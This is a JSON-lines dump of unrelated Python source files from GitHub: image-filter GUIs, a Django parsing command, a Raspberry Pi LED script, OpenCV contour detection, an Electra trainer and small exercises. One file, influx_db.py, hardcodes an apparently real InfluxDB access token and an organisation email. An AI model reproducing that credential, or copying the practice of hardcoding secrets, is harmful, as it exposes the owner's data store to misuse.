0\n\n\ndef on_closing2():\n global winde2\n winde2.destroy()\n winde2 = 0\n\n\ndef SeeROIs():\n if winde2 == 0:\n ROIs_Menu()\n else:\n winde2.lift()\n\n\ndef ROIs_Menu():\n global default_roi, winde2\n\n ROIMenu = Toplevel(root)\n winde2 = ROIMenu\n ROIMenu.protocol(\"WM_DELETE_WINDOW\", on_closing2)\n MenuFrame = Frame(ROIMenu, width=200, height=200, bg=\"#343541\")\n MenuFrame.grid(row=0, column=0, padx=5, pady=5)\n ROIMenu.resizable(False, False)\n\n Drop2 = Label(MenuFrame, text=\"Active ROI:\", bg=\"#444654\", fg=\"white\").grid(\n row=0, column=0, sticky=\"w\", padx=5, pady=3, ipadx=10\n )\n drop = OptionMenu(MenuFrame, default_roi, *ROIs_options).grid(\n row=1, column=0, sticky=\"w\", padx=5, pady=3, ipadx=10\n )\n\n\n# Buttons\n# tools\nImport_button = Button(\n tools_sidebar,\n text=\"Import\",\n relief=\"ridge\",\n bg=\"#444654\",\n fg=\"white\",\n command=import_file,\n).grid(row=0, column=0, padx=10, pady=10, ipadx=10, sticky=\"news\")\nROIs_Button = Button(\n tools_sidebar,\n text=\"ROIS\",\n relief=\"ridge\",\n bg=\"#444654\",\n fg=\"white\",\n command=start_crop,\n).grid(row=1, column=0, padx=10, pady=10, ipadx=10, sticky=\"news\")\nCamera_Button = Button(\n tools_sidebar,\n text=\"Camera\",\n relief=\"ridge\",\n bg=\"#444654\",\n fg=\"white\",\n command=camera,\n).grid(row=2, column=0, padx=10, pady=10, ipadx=10, sticky=\"news\")\nExport_Button = Button(\n tools_sidebar,\n text=\"Export\",\n relief=\"ridge\",\n bg=\"#444654\",\n fg=\"white\",\n command=export_window,\n).grid(row=3, column=0, padx=10, pady=10, ipadx=10, sticky=\"news\")\nROIs_Options_Button = Button(\n tools_sidebar,\n text=\"Options\",\n relief=\"ridge\",\n bg=\"#444654\",\n fg=\"white\",\n command=SeeROIs,\n).grid(row=4, column=0, padx=10, pady=10, ipadx=10, sticky=\"news\")\n\n# filters\nBlur_Button = Button(\n filters_sidebar, text=\"Blur\", relief=\"ridge\", bg=\"#444654\", fg=\"white\", command=blur\n).grid(row=0, column=0, padx=10, pady=10, ipadx=10, sticky=\"news\")\nDeblur_Button = Button(\n filters_sidebar,\n text=\"Deblur\",\n relief=\"ridge\",\n bg=\"#444654\",\n fg=\"white\",\n command=deblur,\n).grid(row=1, column=0, padx=10, pady=10, ipadx=10, sticky=\"news\")\nSharpen_Button = Button(\n filters_sidebar,\n text=\"Sharpen\",\n relief=\"ridge\",\n bg=\"#444654\",\n fg=\"white\",\n command=sharpen,\n).grid(row=2, column=0, padx=10, pady=10, ipadx=10, sticky=\"news\")\nErase_Button = Button(\n filters_sidebar,\n text=\"Erase\",\n relief=\"ridge\",\n bg=\"#444654\",\n fg=\"white\",\n command=erase,\n).grid(row=3, column=0, padx=10, pady=10, ipadx=10, sticky=\"news\")\nBlur_Options_Button = Button(\n filters_sidebar,\n text=\"Options\",\n relief=\"ridge\",\n bg=\"#444654\",\n fg=\"white\",\n command=SeeIfOpen,\n).grid(row=4, column=0, padx=10, pady=10, ipadx=10, sticky=\"news\")\n\n\n# Run App\nroot.mainloop()\n","repo_name":"nickarabidis/Blur-App-with-ROIs","sub_path":"BlurApp.py","file_name":"BlurApp.py","file_ext":"py","file_size_in_byte":48146,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"6507474316","text":"from bulk_adding.models import RawPeople\nfrom sopn_parsing.helpers.command_helpers import BaseSOPNParsingCommand\nfrom sopn_parsing.helpers.parse_tables import parse_raw_data_for_ballot\n\n\nclass Command(BaseSOPNParsingCommand):\n help = \"\"\"\n Convert the raw extracted tables on the ParsedSOPN model to a parsed\n RawPeople model, and set the status as parsed.\n\n \"\"\"\n\n def build_filter_kwargs(self, options):\n \"\"\"\n Build kwargs used to filter the BallotQuerySet that is parsed\n - Always skip any ballots where we do not have a ParsedSOPN to try to\n extract candidates from\n - When test flag is used, dont make any changes\n - When parsing a single ballot, dont make any changes\n - When reparsing, only use ballots where we have previously created a\n RawPeople object from a ParsedSOPN\n - Otherwise filter by unparsed ParsedSOPN objects\n \"\"\"\n # Always skip any ballots where we do not have a ParsedSOPN to try to\n # extract candidates from\n filter_kwargs = {\"officialdocument__parsedsopn__isnull\": False}\n if options.get(\"testing\"):\n return filter_kwargs\n\n if options.get(\"ballot\"):\n return filter_kwargs\n\n if options.get(\"reparse\"):\n filter_kwargs[\n \"rawpeople__source_type\"\n ] = RawPeople.SOURCE_PARSED_PDF\n return filter_kwargs\n\n filter_kwargs[\"officialdocument__parsedsopn__parsed_data\"] = None\n\n # Where the status is unparsed\n filter_kwargs[\"officialdocument__parsedsopn__status\"] = \"unparsed\"\n\n return filter_kwargs\n\n def handle(self, *args, **options):\n # filters that we never change with args. These two would raise\n # ValueErrors in the parse_raw_data_for_ballot function\n base_qs = self.get_queryset(options)\n\n filter_kwargs = self.build_filter_kwargs(options)\n\n qs = base_qs.filter(**filter_kwargs)\n qs = qs.filter(\n candidates_locked=False, # Never parse a locked ballot\n suggestedpostlock=None, # Never parse a ballot with lock suggestions\n )\n\n if not qs.exists():\n msg = [\"No ballots to parse found.\"]\n\n if options.get(\"ballot\"):\n msg.append(\n \"This ballot might be locked or have lock suggestions\"\n )\n\n self.stderr.write(\"\\n\".join(msg))\n\n for ballot in qs:\n parse_raw_data_for_ballot(ballot)\n","repo_name":"DemocracyClub/yournextrepresentative","sub_path":"ynr/apps/sopn_parsing/management/commands/sopn_parsing_parse_tables.py","file_name":"sopn_parsing_parse_tables.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"48"} +{"seq_id":"33934542236","text":"def prime_sum_min(start = int(input()), end = int(input())): # 함수의 매개변수(인자)에 대하여 인수를 직접 입력을 ���다.\n prime_num_list = []\n for i in range(start, end+1):\n div_cnt = 0\n if i > 1: # 범위 내의 숫자가 1인이상인 경우에만 반복문, 조건문 시행 1인경우 소수가아니므로 아무것도 하지 않는다.\n for j in range(2, i):\n if i % j == 0:\n div_cnt += 1\n break # 약수 1개만 있어도 소수가 아님이 판별되므로 반복문 종료\n if div_cnt == 0: # 약수가 1개도 없는 경우에 소수\n prime_num_list.append(i) # 소수인 숫자 리스트에 저장\n\n if len(prime_num_list) > 0: # 소수가 저장된 리스트가 0개 초과인 경우\n return sum(prime_num_list), min(prime_num_list) # 리스트의 소수들의 합, 리스트중에서 가장 작은 소수를 튜플로써 반환\n else:\n return -1 # 소수가 저장된 리스트가 0개인 경우 -1을 반환\n\nif __name__==\"__main__\":\n if type(prime_sum_min()) == tuple: # 반환된 리스트가 0개 초과여서 반환을 2개이상하여 튜플이 반환된 경우에\n for i in prime_sum_min():\n print(i) # 튜플의 값을 줄바꿈하여 출력\n else:\n print(prime_sum_min()) # 반환된 리스트가 0개인경우 있는 그대로 출력","repo_name":"fubabaz/algorithm","sub_path":"src/spidyweb/baekjoon/python/_2581.py","file_name":"_2581.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"28906727647","text":"import copy\n\nimport wx\n\nfrom whacked4 import config\nfrom whacked4.dehacked import patch\nfrom whacked4.ui import editormixin, windows\nfrom whacked4.ui.dialogs import stringdialog\n\n\nclass StringsFrame(editormixin.EditorMixin, windows.StringsFrameBase):\n \"\"\"\n Strings editor window.\n \"\"\"\n\n def __init__(self, parent):\n windows.StringsFrameBase.__init__(self, parent)\n editormixin.EditorMixin.__init__(self)\n\n self.SetIcon(wx.Icon('res/editor-strings.ico'))\n\n self.patch = None\n self.string_dialog = None\n self.selected_index = -1\n\n def build(self, new_patch):\n \"\"\"\n @see: EditorMixin.build\n \"\"\"\n\n self.patch = new_patch\n self.string_dialog = stringdialog.StringDialog(self.GetParent())\n\n self.stringlist_build()\n\n def update(self):\n \"\"\"\n @see: EditorMixin.update\n \"\"\"\n\n self.stringlist_build()\n\n def stringlist_build(self):\n \"\"\"\n Rebuilds the entire list of strings.\n \"\"\"\n\n self.StringList.ClearAll()\n\n if self.StringList.GetColumnCount() == 0:\n if self.patch.extended:\n self.StringList.InsertColumn(0, 'Name', width=134)\n self.StringList.InsertColumn(1, 'String', width=800)\n else:\n self.StringList.InsertColumn(0, 'Index', width=42)\n self.StringList.InsertColumn(1, 'String', width=800)\n\n for row_index, string_key in enumerate(self.patch.strings.keys()):\n if string_key not in self.patch.engine.strings:\n continue\n\n self.StringList.InsertItem(row_index, string_key)\n self.StringList.SetItemFont(row_index, config.FONT_MONOSPACED)\n\n self.stringlist_update_row(row_index, string_key)\n\n self.list_autosize(self.StringList)\n self.StringList.Select(0, True)\n\n def stringlist_update_row(self, row_index, string_key):\n \"\"\"\n Updates a single row in the strings list.\n \"\"\"\n\n string = self.patch.strings[string_key]\n self.StringList.SetItem(row_index, 1, patch.string_escape(string))\n\n def stringlist_resize(self, event):\n \"\"\"\n Called when the string list is resized. Adjusts the list column widths to match.\n \"\"\"\n\n if not self.StringList.GetColumnCount():\n return\n\n width = self.StringList.GetClientSize()[0]\n column_width = width - self.StringList.GetColumnWidth(0) - 4\n self.StringList.SetColumnWidth(1, column_width)\n\n event.Skip()\n\n def string_edit(self, event):\n \"\"\"\n Show the string editing dialog to edit the selected string.\n \"\"\"\n\n string_key = self.get_string_key_from_index(self.selected_index)\n if string_key == -1:\n return\n\n engine_string = self.patch.engine.strings[string_key]\n old_string = self.patch.strings[string_key]\n name = string_key\n\n # Display dialog.\n self.string_dialog.set_state(engine_string, old_string, self.patch.extended, name)\n self.string_dialog.ShowModal()\n\n if self.string_dialog.new_string is not None:\n self.undo_add()\n\n # Store a duplicate of the new string in the patch.\n dup = copy.copy(self.string_dialog.new_string)\n self.patch.strings[string_key] = dup\n\n self.stringlist_update_row(self.selected_index, string_key)\n self.update_externals(dup)\n self.is_modified(True)\n\n def get_string_key_from_index(self, row_index):\n \"\"\"\n Returns the string key belonging to a row index.\n \"\"\"\n\n keys = list(self.patch.engine.strings)\n if row_index < 0 or row_index >= len(keys):\n return -1\n\n return keys[row_index]\n\n def string_restore(self, event):\n \"\"\"\n Restores the currently selected string to it's engine state.\n \"\"\"\n\n string_key = self.get_string_key_from_index(self.selected_index)\n if string_key not in self.patch.engine.strings:\n return\n\n self.undo_add()\n\n dup = copy.copy(self.patch.engine.strings[string_key])\n self.patch.strings[string_key] = dup\n\n self.stringlist_update_row(self.selected_index, string_key)\n self.update_externals(dup)\n\n self.is_modified(True)\n\n def update_externals(self, new_string):\n \"\"\"\n Updates name lists in case a relevant string was changed.\n \"\"\"\n\n if self.patch.extended:\n return\n\n if len(new_string) <= 6:\n self.patch.update_string_externals(self.patch.engine.sounds, self.patch.sounds)\n if len(new_string) == 4:\n self.patch.update_string_externals(self.patch.engine.sprite_names, self.patch.sprite_names)\n\n def undo_restore_item(self, item):\n \"\"\"\n @see: EditorMixin.undo_restore_item\n \"\"\"\n\n string_key = self.get_string_key_from_index(item['index'])\n if string_key == -1:\n return\n\n self.patch.strings[string_key] = item['item']\n self.stringlist_update_row(item['index'], string_key)\n\n self.is_modified(True)\n\n def undo_store_item(self):\n \"\"\"\n @see: EditorMixin.undo_store_item\n \"\"\"\n\n string_key = self.get_string_key_from_index(self.selected_index)\n if string_key == -1:\n return\n\n return {\n 'item': copy.deepcopy(self.patch.strings[string_key]),\n 'index': self.selected_index\n }\n\n def string_select(self, event):\n self.selected_index = event.GetIndex()\n","repo_name":"GitExl/WhackEd4","sub_path":"src/whacked4/ui/editors/stringsframe.py","file_name":"stringsframe.py","file_ext":"py","file_size_in_byte":5615,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"48"} +{"seq_id":"36715552920","text":"import RPi.GPIO as GPIO\nimport time\n\nLED_Blink = 12\nSW_PIN = 8\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BOARD)\nGPIO.setup(LED_Blink,GPIO.OUT) #intiallizing led pin\nGPIO.setup(SW_PIN,GPIO.IN,pull_up_down=GPIO.PUD_UP) #intiallizing the switch\n\nwhile True:\n\tSwitch_Status=GPIO.input(SW_PIN)\n\tif Switch_Status == True:\n\t\tGPIO.output(LED_Blink,GPIO.HIGH)\n\t\ttime.sleep(1)\n\telse:\n\t\tGPIO.output(LED_Blink,GPIO.LOW)\n","repo_name":"sunitha-rs/Fire-Sensor-Project","sub_path":"Switch_Led.py","file_name":"Switch_Led.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73919948945","text":"#Goal: Get one contour per block. (remove the extra one created by the border / select from one of them)\n#To do so: Figure out if a contour contains another contour. \n#\tIf it doesn't, accept that as the only contour\n#\tIf it does, take either only the outer or inner contour\n#This only works if contours are sorted by largest to smallest area (or else you would get both inside and outside)\n\nimport cv2, numpy as np\nimport imutils\n\nRED = 0\nRED1 = 1\nYELLOW = 2\nGREEN = 3\nAQUA = 4 #light blue\nBLUE = 5 #dark blue\nPURPLE = 6\nBLACK = 7\n\n\n\"\"\"\n\n[\n(RED, GREEN),\t#Example block\n(BLUE, YELLOW) #Example block 2\n]\n\n\"\"\"\ncolors = [RED, RED1, YELLOW, GREEN, AQUA, BLUE, PURPLE]\ncolor_names = [\"RED\", \"RED\", \"YELLOW\", \"GREEN\", \"AQUA\", \"BLUE\", \"PURPLE\"]\n\n\"\"\"COLOR RANGES (HSV):\"\"\"\n\n#TODO: lower red 1 include too much black\nvalue = 100\nlower_red1 = np.array([0,0,value])\nupper_red1 = np.array([15,255,255])\n\nlower_red2 = np.array([166,0,value])\nupper_red2 = np.array([180,255,255])\n\nlower_yellow = np.array([16,0,value])\nupper_yellow = np.array([45,255,255])\n\nlower_green = np.array([46,0,value])\nupper_green = np.array([75,255,255])\n\nlower_aqua = np.array([76,0,value])\nupper_aqua = np.array([105,255,255])\n\nlower_blue = np.array([106,0,value])\nupper_blue = np.array([135,255,255])\n\nlower_purple = np.array([136,0,value])\nupper_purple = np.array([165,255,255])\n\n#lower_black = np.array([0, 0, 0])\n#upper_black = np.array([180, 255, value])\n\n\n\ncolor_ranges = [\n\t(lower_red1, upper_red1),\t#INDEX 0 = RED\n\t(lower_red2, upper_red2), \t#INDEX 1 = RED (two different ranges for red)\n\t(lower_yellow, upper_yellow), #INDEX 2 = YELLOW\n\t(lower_green, upper_green),\t#INDEX 3 = GREEN\n\t(lower_aqua, upper_aqua),\t#INDEX 4 = AQUA\n\t(lower_blue, upper_blue),\t#INDEX 5 = BLUE\n\t(lower_purple, upper_purple),#INDEX 6 = PURPLE\n\t#(lower_black, upper_black)\t#INDEX 7 = BLACK\n]\n\ndef isNestedContour(outerContour, potentialInnerContour):\n\touter_x, outer_y, outer_width, outer_height = cv2.boundingRect(outerContour)\n\tinner_x, inner_y, inner_width, inner_height = cv2.boundingRect(potentialInnerContour)\n\t\n\tprint(\"\\nouter:\")\n\tprint(cv2.boundingRect(outerContour))\n\tprint(\"inner:\")\n\tprint(cv2.boundingRect(potentialInnerContour))\n\tprint(\"outer_x + outer_width: \" + str(outer_x+outer_width))\n\tprint(\"inner_x + inner_width: \" + str(inner_x+inner_width))\n\tprint(\"outer_y + outer_height: \" + str(outer_y+outer_height))\n\tprint(\"inner_y + inner_height: \" + str(inner_y+inner_height))\n\n\treturn outer_x < inner_x and outer_y < inner_y and (outer_x + outer_width > inner_x + inner_width) and (outer_y + outer_height > inner_y + inner_height)\n\t\n\ndef filterSmallContours(sorted_contours, thresholdArea):\n\tmax_area = cv2.contourArea(max(sorted_contours, key = cv2.contourArea))\n\tnum_valid_contours = 0\n\t\n\tfor contour in sorted_contours:\t#for each contour (each suspected block)\n\t\tarea = cv2.contourArea(contour)\n\t\t#if the are contained by the contour is of reasonable size (not an erroneous detection)\n\t\tif area > thresholdArea:\n\t\t\tnum_valid_contours += 1\n\treturn sorted_contours[0:num_valid_contours]\n\n\t\ndef removeNestedContours(contours):\n#Precondition: contours is sorted from greatest contour area to least\n\n\t#For each contour\n\t\t#for each other contour\n\t\t\t#if the other contour is contained by the original contour\n\t\t\t\t#delete that contour\n\t\t\t\t#decrement counter\n\t\t\t\t#0 1 2 3\n\touterIndex = 0\n\twhile outerIndex < len(contours):\n\t\touterContour = contours[outerIndex]\n\t\tpotentialInnerIndex = outerIndex + 1\n\t\twhile potentialInnerIndex < len(contours):\n\t\t\tif isNestedContour(outerContour, contours[potentialInnerIndex]):\n\t\t\t\tprint(\"Found a nested contour!\")\n\t\t\t\tcontours = contours[0:potentialInnerIndex] + contours[potentialInnerIndex + 1 :]\n\t\t\t\tpotentialInnerIndex -= 1 #correct for the shift of deletion to look at the next item\n\t\t\tpotentialInnerIndex += 1\n\t\touterIndex += 1\n\t\t\n\n\treturn contours\n\n\t\ndef removeExtraContours(contours, img):\n\tcontours = sorted(contours, key = cv2.contourArea, reverse=True) #sort contours by greatest to least area\n\tmax_contour_area = cv2.contourArea(contours[0])\n\tcontours = filterSmallContours(contours, max_contour_area * 0.1) #accept anything larger than 10% of the max block size (TODO: THIS MIGHT CAUSE ISSUES)(?)\n\t\n\t#check if biggest contour is just the border of the image\n\tx,y,width,height = cv2.boundingRect(contours[0])\n\tif(width == img.shape[1]): #If the contour width equals the image width\n\t\tcontours = contours[1:]\t#Delete that largest contour\n\t\n\t#Remove extra contours caused by the border of each block\n\tcontours = removeNestedContours(contours)\n\t\n\treturn contours\n\t\ndef printColorList(colorList):\n\tfor color in colorList:\n\t\tprint (color_names[color])\n\n\nimg = cv2.imread('paper_blocks.jpg')\t#open image\nimg_color = imutils.resize(img, width=600)\t#resize image\nimg_gray = cv2.cvtColor(img_color, cv2.COLOR_BGR2GRAY) #convert image to grayscale\n\n#locate any black in the image - make anything below the threshold white, and anything above black (black should turn white)\nthresh_val = 90\n#ret, thresh = cv2.threshold(img_gray, thresh_val, 255, cv2.THRESH_BINARY_INV) \nblocksize = 101\nconstant = 40\nthresh = cv2.adaptiveThreshold(img_gray, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, blocksize, constant) \n\n\n#Find the black outline around each block\nimage, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n#Destroy any contours that are below a certain threshold (to get rid of false outlines)\ncontours = removeExtraContours(contours, img_color)\ncontours = sorted(contours, key = cv2.contourArea, reverse=True) #sort contours by greatest to least area\n\n\n\n\n#display contours overlayed on image (for testing)\ndrawn = cv2.drawContours(img_color.copy(), contours, -1, (0, 255, 0), 3)\n\ncv2.imshow(\"contours\", drawn)\ncv2.waitKey(0)\n\n\n\n\"\"\"\nThis gets the contours. But there are two many (two per border).\nNeed to make it one per border. Or at least just look at the one with greater area (!)\nThen, determine the coordinates of it and mask the image to just that region.\n\nget the average color of that region\n\"\"\"","repo_name":"briancherin/Tactile-Programming-Blocks","sub_path":"box.py","file_name":"box.py","file_ext":"py","file_size_in_byte":6048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16421797571","text":"from torch import nn\nimport torch\nfrom typing import *\n\nfrom transformers import AdamW, XLNetTokenizer\n\nfrom models.electra_model import ElectraModelClassificationALPS\nfrom transformers import ElectraConfig\nfrom data_loaders.alps_dataset import make_cdr_non_global_dataset\nfrom tqdm import tqdm\nfrom utils.trainer_utils import get_tokenizer\nfrom torch.optim.lr_scheduler import StepLR\nimport torch.optim as optim\n# from optim import optim4GPU\n# from torchsummary import summary\nfrom sklearn.metrics import confusion_matrix\nimport numpy as np\n\nimport os\n\n# os.environ[\"CUDA_VISIBLE_DEVICES\"]=\"0,1,2,3\"\ncuda = torch.cuda.is_available()\ntorch.cuda.set_device(0)\nprint('cuda is_available: ', cuda)\n\n\ndef evaluate(net, test_loader, tokenizer):\n net.eval()\n pad_id = tokenizer.pad_token_id\n labels = []\n preds = []\n\n for i, batch in tqdm(enumerate(test_loader)):\n x, masked_entities_encoded_seqs, chemical_code_seqs, disease_code_seqs, other_code_seqs, label = batch\n # label = torch.squeeze(label, 1).to('cpu')\n label = label.data\n labels.append(label)\n attention_mask = (x != pad_id).float()\n attention_mask = (1. - attention_mask) * -10000.\n token_type_ids = torch.zeros((x.shape[0], x.shape[1])).long()\n if cuda:\n x = x.cuda()\n \n prediction = net(x, \n # token_type_ids=token_type_ids, \n # attention_masks=attention_mask,\n used_entity_token=False, masked_entities_list=masked_entities_encoded_seqs, \n chemical_code_list=chemical_code_seqs, disease_code_list=disease_code_seqs, other_code_list=other_code_seqs)\n prediction.to('cpu')\n pred_label = prediction.argmax(dim=1).to('cpu')\n \n preds.append(pred_label)\n \n new_all_labels = []\n new_all_preds = []\n for i in range(len(labels)):\n new_all_labels += labels[i].tolist()\n new_all_preds += preds[i].tolist()\n \n # labels = torch.cat(labels, dim=-1)\n # preds = torch.cat(preds, dim=-1)\n from sklearn.metrics import classification_report\n print(\"Testing report: \", classification_report(new_all_labels, new_all_preds))\n print(\"Testing Confusion matrix report: \\n\", confusion_matrix(new_all_labels, new_all_preds))\n return classification_report(new_all_labels, new_all_preds, output_dict=True)['1']\n\n\ndef train(num_epochs=100):\n best_test_results = None\n best_epoch = None\n _, train_loader = make_cdr_non_global_dataset('data/alps/alps_train.txt')\n _, test_loader = make_cdr_non_global_dataset('data/alps/alps_test.txt')\n\n tokenizer = XLNetTokenizer.from_pretrained('model_sentence_piece/wiki-ja.model')\n tokenizer.add_tokens('')\n tokenizer.add_tokens('')\n # electra_config = ElectraConfig()\n # net = ElectraModelClassification(electra_config)\n net = ElectraModelClassificationALPS.from_pretrained('models_saved/Electra_converted_pytorch')\n net.resize_token_embeddings(len(tokenizer))\n\n for name, param in net.named_parameters():\n # if 'encoder' in name:\n # param.requires_grad = False\n print(\"name: {}, unfrozen:{}, size: {}\".format(name, param.requires_grad, param.size()))\n if cuda:\n net.cuda()\n\n \n\n pad_id = tokenizer.convert_tokens_to_ids('[PAD]')\n\n def train_model(model, loss_fn, optimizer, scheduler, tokenizer, do_eval):\n net.train()\n epoch_loss = []\n all_labels = []\n all_preds = []\n for i, batch in tqdm(enumerate(train_loader)):\n x, masked_entities_encoded_seqs, chemical_code_seqs, disease_code_seqs, other_code_seqs, label = batch\n # print('label = ', label)\n # label = torch.squeeze(label, 1)\n attention_mask = (x != pad_id).float()\n attention_mask = (1. - attention_mask) * -10000.\n token_type_ids = torch.zeros((x.shape[0], x.shape[1])).long()\n if cuda:\n x = x.cuda()\n label = label.cuda()\n attention_mask = attention_mask.cuda()\n token_type_ids = token_type_ids.cuda()\n\n prediction = model(x, \n # token_type_ids=token_type_ids, \n # attention_masks=attention_mask,\n used_entity_token=False, masked_entities_list=masked_entities_encoded_seqs, \n chemical_code_list=chemical_code_seqs, disease_code_list=disease_code_seqs, other_code_list=other_code_seqs)\n # print('learned before = {}'.format(net.projection.weight.data))\n loss = criteria(prediction.view(-1, 2), label.view(-1))\n pred = prediction.argmax(dim=-1)\n all_labels.append(label.data)\n all_preds.append(pred)\n \n epoch_loss.append(loss.item())\n\n loss.backward()\n optimizer.step()\n optimizer.zero_grad()\n\n\n # scheduler.step()\n \n average_loss = np.mean(epoch_loss)\n new_all_labels = []\n new_all_preds = []\n for i in range(len(all_labels)):\n new_all_labels += all_labels[i].tolist()\n new_all_preds += all_preds[i].tolist()\n\n from sklearn.metrics import classification_report\n print(\"average RE loss : \", average_loss)\n print(\"train_cls report: \\n\", classification_report(new_all_labels, new_all_preds))\n print(\"Confusion matrix report: \\n\", confusion_matrix(new_all_labels, new_all_preds))\n if do_eval:\n return evaluate(model, test_loader, tokenizer)\n\n optimizer = torch.optim.Adam([{\"params\": net.parameters(), \"lr\": 0.0000000001}])\n for epoch in range(num_epochs):\n print('Epoch:', epoch)\n criteria = torch.nn.CrossEntropyLoss()\n do_eval = False\n if epoch % 1 == 0 or epoch == num_epochs - 1:\n do_eval = True\n res_test = train_model(net, loss_fn=criteria, optimizer=optimizer, scheduler=None, tokenizer=tokenizer, do_eval=do_eval)\n if best_test_results == None or res_test['f1-score'] > best_test_results['f1-score']:\n best_test_results = res_test\n best_epoch = epoch\n print('Best result on test data: Precision: {}, Recall: {}, F1: {}'.format(best_test_results['precision'], best_test_results['recall'], best_test_results['f1-score']))\n print('Best epoch = ', best_epoch)\n\n\nif __name__ == \"__main__\":\n train(num_epochs=1000) ","repo_name":"thaiduongx26/relation_extraction_cdr","sub_path":"alps_trainer.py","file_name":"alps_trainer.py","file_ext":"py","file_size_in_byte":6533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11331757971","text":"import sys\n\nvalues={\"a\":0,\"t\":1,\"c\":2,\"o\":3,\"d\":4,\"e\":5,\"r\":6}\ndef main():\n word=list(\"atcoder\")\n word2=list(input())\n count=0\n maxlen=7\n while(str(word)!=str(word2)):\n for i,char in enumerate(word):\n if ivalues[word2[i+1]] :\n aux1=word2[i]\n word2[i]=word2[i+1]\n word2[i+1]=aux1\n count+=1\n print(count)\n \n\nmain()","repo_name":"DwijanX/ConcursoPrograUsingPythonPractice","sub_path":"idk2408/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26806687690","text":"import datetime\n\ndef start():\n print('hallo!')\n print('ik ben kayran')\n\n naam = input('')\n\n print(f\"hallo {naam}\")\n print(f\"datum en tijd is {datetime.datetime.today()}\")\n print(f\"{naam} wil jij dit programma nog een keer doen?\\nType Y/N\")\n\n option = input ('')\n if option.lower() == 'y':\n start()\n else:\n exit()\n\n\nstart()","repo_name":"Kayransteelink/F1M1PYT","sub_path":"hallo.py","file_name":"hallo.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72240135506","text":"#Exercise 13\r\n\r\nd = {\"basel\":19, \"husam\":53}\r\n\r\nname = input(\"Enter name of the person: \")\r\n\r\nif name in d.keys():\r\n print(d[name])\r\nelse:\r\n age = int(input(\"name is not found, enter his age: \"))\r\n d[name] = age\r\n \r\n ","repo_name":"baselhusam/The-Practice-of-Computing-Using-Python-Solved","sub_path":"Chapter 9/Problem 13.py","file_name":"Problem 13.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"11943028132","text":"\"\"\"\nHere we collect data to the monitoring device and create dataframes using data fetched.\n\"\"\"\nfrom datetime import datetime\nfrom dotenv import load_dotenv, main\nimport os\nimport urllib3\nurllib3.disable_warnings()\nfrom influxdb_client import InfluxDBClient\nfrom influxdb_client.client.write_api import SYNCHRONOUS\n\nload_dotenv()\n# You can generate a Token from the \"Tokens Tab\" in the UI\ntoken = 'SMVTNYq5kEoEgAXcqvKFlo9BZbKdyRiLcXPES3TGFBrsQZmChboUEgrbOD1cESm3237IEOaqOOnUwUMOkZt7BQ=='\norg = 'ab2731@cam.ac.uk'\nbucket = 'Sensor Data'\n\n\nclass InfluxClient:\n def __init__(self, token=token, org=org, bucket=bucket):\n self._org = org\n self._bucket = bucket\n self._client = InfluxDBClient(url=\"https://europe-west1-1.gcp.cloud2.influxdata.com\", token=token,\n verify_ssl=False, debug=False)\n\n def write_data(self, data, write_option=SYNCHRONOUS):\n write_api = self._client.write_api(write_option)\n write_api.write(self._bucket, self._org, data, write_precision='s')\n","repo_name":"ankit-bhattarai/IFM-ShoeString-Hackathon-2022","sub_path":"influx_db.py","file_name":"influx_db.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39617683636","text":"#coding=utf8\n\"\"\" \n本模块所有的image类型都为PIL.Image\n\"\"\"\n\n\nfrom ImageTool import *\nimport Image\nimport ImageDraw\n\ndef ConvertImage(image):\n ''' 把彩色图像转换成灰度图像\n image=PIL.Image\n return PIL.Image\n '''\n\n return image.convert(\"L\")\n\ndef HistogramImage(image, w=512, h=256):\n ''' 获取灰度直方图\n image=灰度图像\n '''\n image=image.convert(\"L\")\n\n hist = image.histogram()\n hist = map(lambda i:h-h*i/max(hist),hist) #归一化,之后会有误差\n\n w=w%256 and 256*(w/256+1) or w #保证宽是256的倍数\n\n img = Image.new('L', (w, h), 255)\n draw = ImageDraw.Draw(img)\n\n step = w/256 # 每个矩形的宽度\n [draw.rectangle([i*step,hist[i],(i+1)*step,h],fill=0) for i in range(256)]\n\n return img\n\ndef GetThreshold(image):\n ''' 获取阈值'''\n histogram=image.histogram() #获取灰度直方图\n\n g1=[0,histogram[0]]\n for i in range(0,127):\n if histogram[i]>g1[1]:\n g1=[i,histogram[i]]\n\n g2=[127,histogram[127]]\n for i in range(127,255):\n if histogram[i]>g2[1]:\n g2=[i,histogram[i]]\n\n threshold=int((g1[0]+g2[0])/2)\n return threshold\n\ndef BinaryImage(image,threshold=0):\n \"\"\" \n PIL图像,阈值=0自动\n wximage(PIL.Image),threshold(0~255)\n\n return image=PIL.Image\n \"\"\"\n \n #\n if threshold==0:\n threshold=GetThreshold(image)\n \n img=image.copy()\n width,height=img.size\n pix=img.load()\n for w in range(width):\n for h in range(height):\n if pix[w,h]>threshold:\n pix[w,h]=255\n else:\n pix[w,h]=0\n \n return 